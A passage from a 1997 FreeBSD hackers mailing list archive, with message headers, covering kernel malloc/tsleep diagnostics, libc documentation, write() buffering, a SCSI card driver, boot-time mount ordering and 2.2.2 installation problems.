buffering (at the os level not library level) in this case affects this. From owner-freebsd-hackers Wed Aug 13 16:41:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA07476 for hackers-outgoing; Wed, 13 Aug 1997 16:41:12 -0700 (PDT) Received: from acromail.ml.org (acroal.vip.best.com [206.86.222.181]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA07468; Wed, 13 Aug 1997 16:41:09 -0700 (PDT) Received: from localhost (root@localhost) by acromail.ml.org (8.8.6/8.8.5) with SMTP id QAA02525; Wed, 13 Aug 1997 16:41:35 -0700 (PDT) Date: Wed, 13 Aug 1997 16:41:35 -0700 (PDT) From: 0000-Administrator To: freebsd-stable@freebsd.org cc: freebsd-hackers@freebsd.org Subject: Info files. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Why are there info files for the g++ library but no info files for the plain old c library. I learned most of what I know about network programming from the libc info files for linux --- either that or what is some good docs for general app/net programming under freebsd In particular the short and to the point examples of how the structures (and their definitions) are used (all stuff that is in the gnu c library info files). Does freebsd actually use the gnu c library, can someone explain what it uses and where I can get a book that explains how to use all the system calls? (yes, I do know about man pages) From owner-freebsd-hackers Wed Aug 13 17:07:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA08801 for hackers-outgoing; Wed, 13 Aug 1997 17:07:39 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA08792; Wed, 13 Aug 1997 17:07:28 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA15802; Wed, 13 Aug 1997 17:02:20 -0700 From: Terry Lambert Message-Id: <199708140002.RAA15802@phaeton.artisoft.com> Subject: Re: 2.2.2+ crash.. more info To: dg@root.com Date: Wed, 13 Aug 1997 17:02:20 -0700 (MST) Cc: terry@lambert.org, julian@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: <199708132255.PAA18976@implode.root.com> from "David Greenman" at Aug 13, 97 03:55:32 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >> Quite likely. It's fairly easy to have a bug where a resource is exhausted > >> (usually memory) in a subroutine called from an interrupt routine, resulting > >> in a tsleep() if the call to malloc isn't M_NOWAIT. > > > >Is there any way we could talk you into adding an #ifdef DIAGNOSTIC > >to malloc to catch this case? > > To catch which case? malloc() doesn't know a whole lot about the state of > the system; it especially doesn't have knowledge about how interrupts work > and whether or not it is okay sleep. I don't know if we have a way of > knowing this even if we did want to add such machine-dependant checks to > malloc(). In any case, the checks would be best added to tsleep(), not to > malloc(). OK, tsleep() then. The idea is to get a panic and a traceback to proactively detect misbehaving drivers. That means that even if it's not going to sleep, it should test whether an ISR is active vis-a-vis the nonexistance of M_NOWAIT. On second thought, it's a bad idea to put it in tsleep() instead of malloc(); the driver calling a malloc() which could tsleep() is in error, in any case. Putting the test in tsleep() would only mask the error in the case the malloc *might* sleep, but didn't. You really want to catch erroneous use of API's (like this) with DIAGNOSTIC -- regardless of runtime cost involved. Anyway, it was just a thought -- after Mike Smith talked about spending a year tracking one down, it seems a small penalty, even if the ISR dispatcher has to set a flag on entry and exit to make it possible to catch. Since it's only DIAGNOSTIC, I'm not concerned about the expense. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 13 17:12:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09257 for hackers-outgoing; Wed, 13 Aug 1997 17:12:12 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA09250 for ; Wed, 13 Aug 1997 17:12:09 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id RAA19915; Wed, 13 Aug 1997 17:13:24 -0700 (PDT) Message-Id: <199708140013.RAA19915@implode.root.com> To: Terry Lambert cc: hackers@FreeBSD.ORG Subject: Re: 2.2.2+ crash.. more info In-reply-to: Your message of "Wed, 13 Aug 1997 17:02:20 PDT." <199708140002.RAA15802@phaeton.artisoft.com> From: David Greenman Reply-To: dg@root.com Date: Wed, 13 Aug 1997 17:13:24 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >On second thought, it's a bad idea to put it in tsleep() instead >of malloc(); the driver calling a malloc() which could tsleep() >is in error, in any case. Putting the test in tsleep() would only >mask the error in the case the malloc *might* sleep, but didn't. >You really want to catch erroneous use of API's (like this) with >DIAGNOSTIC -- regardless of runtime cost involved. Actually, the sleep isn't called from malloc(), but rather from a lower level VM system routine, but this doesn't affect the point you are making, which I think is a good one. >Anyway, it was just a thought -- after Mike Smith talked about >spending a year tracking one down, it seems a small penalty, even >if the ISR dispatcher has to set a flag on entry and exit to make >it possible to catch. Since it's only DIAGNOSTIC, I'm not concerned >about the expense. I see that Julian committed something for this, but I don't know what yet. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Aug 13 17:23:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09693 for hackers-outgoing; Wed, 13 Aug 1997 17:23:06 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA09686; Wed, 13 Aug 1997 17:22:58 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA04477; Wed, 13 Aug 1997 17:21:20 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd004475; Thu Aug 14 00:21:16 1997 Message-ID: <33F24EEE.695678E2@whistle.com> Date: Wed, 13 Aug 1997 17:18:54 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: 0000-Administrator CC: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Info files. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 0000-Administrator wrote: > > Why are there info files for the g++ library but no info files for the > plain old c library. I learned most of what I know about network > programming from the libc info files for linux --- either that or what is > some good docs for general app/net programming under freebsd In particular > the short and to the point examples of how the structures (and their > definitions) are used (all stuff that is in the gnu c library info files). > Does freebsd actually use the gnu c library, can someone explain what it > uses and where I can get a book that explains how to use all the system > calls? (yes, I do know about man pages) FreeBSD doesn't use the gnu libc. it uses the Berkeley libc. It is copiously documented i the man pages and in the DOC directories.. Also look on the web page at the bibliography. 'info' is a gnu home-grown thing that the gnu people use no-one else uses th info stuff really. the eqaul argument is 'why doesn't gnu provide man pages for their stuff?' (sometime they do sometimes they don't) From owner-freebsd-hackers Wed Aug 13 18:33:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12927 for hackers-outgoing; Wed, 13 Aug 1997 18:33:30 -0700 (PDT) Received: from shell.monmouth.com (root@shell.monmouth.com [205.164.220.9]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA12922 for ; Wed, 13 Aug 1997 18:33:26 -0700 (PDT) Received: from i4got.lakewood.com (fh-ppp24.monmouth.com [205.164.221.56]) by shell.monmouth.com (8.8.5/8.7.3) with ESMTP id VAA09368 for ; Wed, 13 Aug 1997 21:30:38 -0400 (EDT) Received: (from pechter@localhost) by i4got.lakewood.com id VAA13512 (8.8.5/IDA-1.6 for freebsd-hackers@freebsd.org); Wed, 13 Aug 1997 21:33:05 -0400 (EDT) From: Bill Pechter Message-ID: <199708140133.VAA13512@i4got.lakewood.com> Subject: Trantor T160 To: freebsd-hackers@freebsd.org Date: Wed, 13 Aug 1997 21:33:05 -0400 (EDT) Reply-to: pechter@lakewood.com X-Phone-Number: 908-389-3592 X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anyone ever work up a driver for the Trantor T160 SCSI card... Just found one and I'd love to off-load some scsi stuff (mostly cd or tape use) to it. Bill ------------------------------------------------------------------------------ Bill Pechter | 17 Meredith Drive Tinton Falls, NJ 07724 | 908-389-3592 pechter@lakewood.com | Save computing history, give an old geek old hardware. This msg brought to you by the letters PDP and the number 11. From owner-freebsd-hackers Wed Aug 13 18:41:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA13251 for hackers-outgoing; Wed, 13 Aug 1997 18:41:31 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA13210; Wed, 13 Aug 1997 18:41:26 -0700 (PDT) Received: from Journey2.mat.net (journey2.mat.net [206.246.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id VAA25441; Wed, 13 Aug 1997 21:40:58 -0400 Date: Wed, 13 Aug 1997 21:41:18 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: 0000-Administrator cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Info files. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, 0000-Administrator wrote: > > Why are there info files for the g++ library but no info files for the > plain old c library. I learned most of what I know about network > programming from the libc info files for linux --- either that or what is > some good docs for general app/net programming under freebsd In particular > the short and to the point examples of how the structures (and their > definitions) are used (all stuff that is in the gnu c library info files). > Does freebsd actually use the gnu c library, can someone explain what it > uses and where I can get a book that explains how to use all the system > calls? (yes, I do know about man pages) > If you know about the man pages, I don't understand what your problem is. This isn't Linux, our documentation resides in man pages mostly. I know (because of the gnu prejudice against man pages) that linux is less inclined to this than most Unixes, but the man pages FreeBSD has are not incomplete (in most cases, kernel excepted). The only time that FreeBSD installs a man page, it is because the utility involved is gnu-derived, and as such has no man page documentation. In some cases (like GNU tar) a FreeBSD man page has been written anyway, because many FreeBSDers aren't very happy with info format. > > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Wed Aug 13 18:44:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA13524 for hackers-outgoing; Wed, 13 Aug 1997 18:44:25 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA13518; Wed, 13 Aug 1997 18:44:14 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA17340; Thu, 14 Aug 1997 11:13:36 +0930 (CST) From: Michael Smith Message-Id: <199708140143.LAA17340@genesis.atrad.adelaide.edu.au> Subject: Re: Info files. In-Reply-To: from 0000-Administrator at "Aug 13, 97 04:41:35 pm" To: root@acromail.ml.org (0000-Administrator) Date: Thu, 14 Aug 1997 11:13:36 +0930 (CST) Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 0000-Administrator stands accused of saying: > > Why are there info files for the g++ library but no info files for the > plain old c library. Because the g++ library is a GNU library, whilst the C library is Berkeley-derived. The latter has an excellent collection of manpages. > I learned most of what I know about network > programming from the libc info files for linux --- either that or what is > some good docs for general app/net programming under freebsd In particular > the short and to the point examples of how the structures (and their > definitions) are used (all stuff that is in the gnu c library info files). The standard answer : "Advanced Programming in the Unix Environment", and "Unix Network Programming", both by W. Richard Stevens. Any halfway decent bookstore will be able to get these. > Does freebsd actually use the gnu c library, can someone explain what it > uses and where I can get a book that explains how to use all the system > calls? (yes, I do know about man pages) FreeBSD does not use the GNU C library, and likely never will. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 13 18:52:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA14210 for hackers-outgoing; Wed, 13 Aug 1997 18:52:38 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA14186; Wed, 13 Aug 1997 18:52:32 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA17391; Thu, 14 Aug 1997 11:21:59 +0930 (CST) From: Michael Smith Message-Id: <199708140151.LAA17391@genesis.atrad.adelaide.edu.au> Subject: Re: A small buffer question.. In-Reply-To: from 0000-Administrator at "Aug 13, 97 04:37:27 pm" To: root@acromail.ml.org (0000-Administrator) Date: Thu, 14 Aug 1997 11:21:58 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 0000-Administrator stands accused of saying: > > If the low level write() call is used to write to a data file then unlike > fwrite() where you must do an fflush to make sure that info is on disk I > am assuming that some type of flush is not necessary (can someone fill me > in on how to insure when using write() and read() calls that the data > actually gets to the disk), more importantly though if I open a socket and > then use a connect call to connect to a remote system and use write() to > write a block of data, is that block of data sent entirely as soon as > possible? (It would make it much easier to deal with your questions if you tried to use the English language as it was designed. Most particularly, organise your thoughts into sentences, punctuate said sentences, and keep them discrete.) You are asking some really basic and not very bright questions here that would better be answered by a reading of K&R or an introductory C programming text. To cover your main points : - fwrite() may or may not commit data to the OS depending on the buffering mode applicable to the handle in question and the content of the written data. - no system call guarantees that data is "on disk". The write() system call returns once the data is queued to be written, but this does not guarantee that the data has actually hit whatever media it is aimed at. - write() to a socket will return, again, once data is committed to the socket buffers. It would be stupid for the system not to send such data as soon as was practical. > I have basically handled these things when using the stdio library i.e > fwrite, printf etc., and found that an fflush is absolutely required to > get the packets out of the buffers etc and sent -- I am just not that sure > about how buffering (at the os level not library level) in this case > affects this. You appear to have been misusing the stdio library. If you insist on using it, at the very least study the setvbuf() function. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 13 19:00:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA14667 for hackers-outgoing; Wed, 13 Aug 1997 19:00:15 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA14661 for ; Wed, 13 Aug 1997 19:00:09 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA17438; Thu, 14 Aug 1997 11:29:44 +0930 (CST) From: Michael Smith Message-Id: <199708140159.LAA17438@genesis.atrad.adelaide.edu.au> Subject: Re: Trantor T160 In-Reply-To: <199708140133.VAA13512@i4got.lakewood.com> from Bill Pechter at "Aug 13, 97 09:33:05 pm" To: pechter@lakewood.com Date: Thu, 14 Aug 1997 11:29:43 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Bill Pechter stands accused of saying: > Anyone ever work up a driver for the Trantor T160 SCSI card... > Just found one and I'd love to off-load some scsi stuff (mostly cd or tape > use) to it. Is this one of the 53C80/53C400 cards? You might be able to coax the 'nca' driver into talking to it if it is. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 13 19:05:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA14973 for hackers-outgoing; Wed, 13 Aug 1997 19:05:56 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA14961 for ; Wed, 13 Aug 1997 19:05:51 -0700 (PDT) Message-Id: <199708140205.TAA14961@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA166914334; Thu, 14 Aug 1997 12:05:34 +1000 From: Darren Reed Subject: /etc/rc - problems in 2.1.7 To: hackers@freebsd.org Date: Thu, 14 Aug 1997 12:05:34 +1000 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In recent testing, it was found that the "mount -t nonfs" can cause problems in the following scenario: kernel compiled without procfs procfs LKM present on system /proc in /etc/fstab /usr on a separate filesystem to / what happens is that the mount command above will try mount /proc, which then leads to procfs being loaded as an LKM which fails, preventing a bootup. I'd suggest that /usr should be mounted before the "mount -t nonfs". Darren From owner-freebsd-hackers Wed Aug 13 19:12:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA15274 for hackers-outgoing; Wed, 13 Aug 1997 19:12:10 -0700 (PDT) Received: from shell.monmouth.com (root@shell.monmouth.com [205.164.220.9]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA15265 for ; Wed, 13 Aug 1997 19:12:08 -0700 (PDT) Received: from i4got.lakewood.com (fh-ppp24.monmouth.com [205.164.221.56]) by shell.monmouth.com (8.8.5/8.7.3) with ESMTP id WAA16015; Wed, 13 Aug 1997 22:09:36 -0400 (EDT) Received: (from pechter@localhost) by i4got.lakewood.com id WAA17994 (8.8.5/IDA-1.6); Wed, 13 Aug 1997 22:12:03 -0400 (EDT) From: Bill Pechter Message-ID: <199708140212.WAA17994@i4got.lakewood.com> Subject: Re: Trantor T160 In-Reply-To: <199708140159.LAA17438@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 14, 97 11:29:43 am" To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 13 Aug 1997 22:12:03 -0400 (EDT) Cc: freebsd-hackers@freebsd.org Reply-to: pechter@lakewood.com X-Phone-Number: 908-389-3592 X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Bill Pechter stands accused of saying: > > Anyone ever work up a driver for the Trantor T160 SCSI card... > > Just found one and I'd love to off-load some scsi stuff (mostly cd or tape > > use) to it. > > Is this one of the 53C80/53C400 cards? You might be able to coax the > 'nca' driver into talking to it if it is. The T130 is NCR based... (I've got a Pro Audio Spectrum here which works ok with the nca driver (it's using the T130 design on it). The T160 has three chips and a ROM the SCSI chip (I traced the lines back from the terminator) says Trantor T101 S9406AJ NSC1992 Pat. Pending. Bill ------------------------------------------------------------------------------ Bill Pechter | 17 Meredith Drive Tinton Falls, NJ 07724 | 908-389-3592 pechter@lakewood.com | Save computing history, give an old geek old hardware. This msg brought to you by the letters PDP and the number 11. From owner-freebsd-hackers Wed Aug 13 19:24:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA15740 for hackers-outgoing; Wed, 13 Aug 1997 19:24:27 -0700 (PDT) Received: from csemail.cropsci.ncsu.edu (csemail.cropsci.ncsu.edu [152.1.88.3]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA15726 for ; Wed, 13 Aug 1997 19:24:15 -0700 (PDT) From: rdkeys@csemail.cropsci.ncsu.edu Received: by csemail.cropsci.ncsu.edu (5.61-AIX-1.2/1.0) id AA107103 (for freebsd-hackers@freebsd.org, from rdkeys/rdkeys@csemail.cropsci.ncsu.edu); Wed, 13 Aug 97 22:34:43 -0400 Message-Id: <9708140234.AA107103@csemail.cropsci.ncsu.edu> Subject: 2.2.2-RELEASE is driving me up the bloody wall!!!!! To: freebsd-hackers@freebsd.org Date: Wed, 13 Aug 1997 22:34:39 -0400 (EDT) Cc: rdkeys@csemail.cropsci.ncsu.edu () X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is getting a bit rediculous, for sure. I have had perfect success getting the 3.0 snaps going and the 2.1.7.1 going on various machines, but 2.2.2 is driving me up the wall!!!! What gives......? The install crashed and refused to install anything after the initial installation...... someone remarked ``the install bug''????? The system is up, but sysinstall will not install cvsup so I can update the bloody beast! Even manual installs don't work. The RELENG snap was nuked on freebsd.org, so I can't get a later sysinstall or updated sources or...... etc....... grrrrrrrr! Are they down in one of the other trees? After 5 installs today, I am getting a bit nauseous of FreeBSD, and I really do want to get it up, right. The two 3.0 snap installs went like clockwork. Everyone said go 2.2.2-RELEASE, so, like a fool, I took their advice........BAD BAD BAD. The RELENG snap install went like clockwork, until the root tree was nuked on freebsd.org...... I assume another snap is coming out????? I did not want to get bit by the 2.2.2-RELEASE problems, right, so the RELENG was a better way to go..... until the tree was nuked and I can't find another alternate tree..... Well, then maybe 2.2.2-RELEASE...... nope, it pulls ones hair out..... Yikes..... there has gotta be a better way...... Any pointers appreciated. OK, on my archive box, I have all the various releases that were up until a couple of days ago, 2.1.7.1, 2.2.2-RELEASE, 2.2-970618-SNAP, 3.0-970618-SNAP, and 3.0-970807-SNAP...... What is the best way to approach fixing the 2.2.2-RELEASE I have up to get at least somewhere up the RELENG tree beyond the 2.2.2-RELEASE problems? IF I reinstall 2.2-RELENG, minimally (sources only) via ftp and then manually install them, and do a make world, will that get up far enough to get a working cvsup????? Bob Keys rdkeys@csemail.cropsci.ncsu.edu (the freebsd boxes are down) From owner-freebsd-hackers Wed Aug 13 19:51:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA16979 for hackers-outgoing; Wed, 13 Aug 1997 19:51:50 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA16968 for ; Wed, 13 Aug 1997 19:51:45 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA17739; Thu, 14 Aug 1997 12:20:58 +0930 (CST) From: Michael Smith Message-Id: <199708140250.MAA17739@genesis.atrad.adelaide.edu.au> Subject: Re: Trantor T160 In-Reply-To: <199708140212.WAA17994@i4got.lakewood.com> from Bill Pechter at "Aug 13, 97 10:12:03 pm" To: pechter@lakewood.com Date: Thu, 14 Aug 1997 12:20:58 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, freebsd-hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Bill Pechter stands accused of saying: > > Is this one of the 53C80/53C400 cards? You might be able to coax the > > 'nca' driver into talking to it if it is. > > The T130 is NCR based... (I've got a Pro Audio Spectrum here which works > ok with the nca driver (it's using the T130 design on it). Fair enough. > The T160 has three chips and a ROM the SCSI chip (I traced the lines back > from the terminator) says Trantor T101 S9406AJ NSC1992 Pat. Pending. Hmm. That sounds a lot like a NatSemi part, but if it is they're not owning up to it. I'd have to say that you're SOL there, unless you feel like the ol' driver/documentation chase. 8( -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 13 20:08:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA17820 for hackers-outgoing; Wed, 13 Aug 1997 20:08:15 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA17814 for ; Wed, 13 Aug 1997 20:08:11 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA17843; Thu, 14 Aug 1997 12:38:01 +0930 (CST) From: Michael Smith Message-Id: <199708140308.MAA17843@genesis.atrad.adelaide.edu.au> Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! In-Reply-To: <9708140234.AA107103@csemail.cropsci.ncsu.edu> from "rdkeys@csemail.cropsci.ncsu.edu" at "Aug 13, 97 10:34:39 pm" To: rdkeys@csemail.cropsci.ncsu.edu Date: Thu, 14 Aug 1997 12:38:00 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk rdkeys@csemail.cropsci.ncsu.edu stands accused of saying: > I have had perfect success getting the 3.0 snaps going and the 2.1.7.1 > going on various machines, but 2.2.2 is driving me up the wall!!!! > > What gives......? Do you have 48M of memory, by any chance? > The system is up, but sysinstall will not install cvsup so I can update > the bloody beast! Even manual installs don't work. You don't use sysinstall to install cvsup. Fetch the binary-only distribution, and install that by hand. > The RELENG snap was nuked on freebsd.org, so I can't get a later sysinstall > or updated sources or...... etc....... grrrrrrrr! Are they down in one > of the other trees? try ftp://releng22.freebsd.org Oh, and relax a little. 8) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 13 20:18:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA18243 for hackers-outgoing; Wed, 13 Aug 1997 20:18:24 -0700 (PDT) Received: from osd.oxnardsd.org (osd.oxnardsd.org [204.147.17.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA18238 for ; Wed, 13 Aug 1997 20:18:22 -0700 (PDT) Received: from gcpacix (gcpacix.cotdazr.org) by osd.oxnardsd.org (4.1/SMI-4.1) id AA04188; Wed, 13 Aug 97 20:15:16 PDT Message-Id: <33F2786E.41C67EA6@cotdazr.org> Date: Wed, 13 Aug 1997 20:15:58 -0700 From: Everett F Batey II Organization: Gold Coast Public Access / VIIHS X-Mailer: Mozilla 3.01 (X11; I; BSD/386 uname failed) Mime-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: FBSD 2.0.5 Netscape 4.x Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Saddened by a long effort to get NS-4.02b7 to operate with the libs in 2.0.5 thru 2.1.6 .. ANY CHANCE anyone has a working NS 4.0 for FBSD 2.0.5 .. Oh PLEASE .. -- + http://www.cotdazr.org efb@cotdazr.org -- WA6CRE -- http://www.gitt.gov + + http://www.oxnardsd.org [EFB15] SunUG: http://halide.acs.uci.edu/GCSUG + + BSD Unix Sun Linux, Security, Cisco Routing, QMail Inn DNS & My Opinions + + Beep: 805.655.2017 Vmail: 805.340.6471+5, 800.545.6998 USN: 805.982.7180 + From owner-freebsd-hackers Wed Aug 13 21:12:03 1997 Return-Path: Received: (from 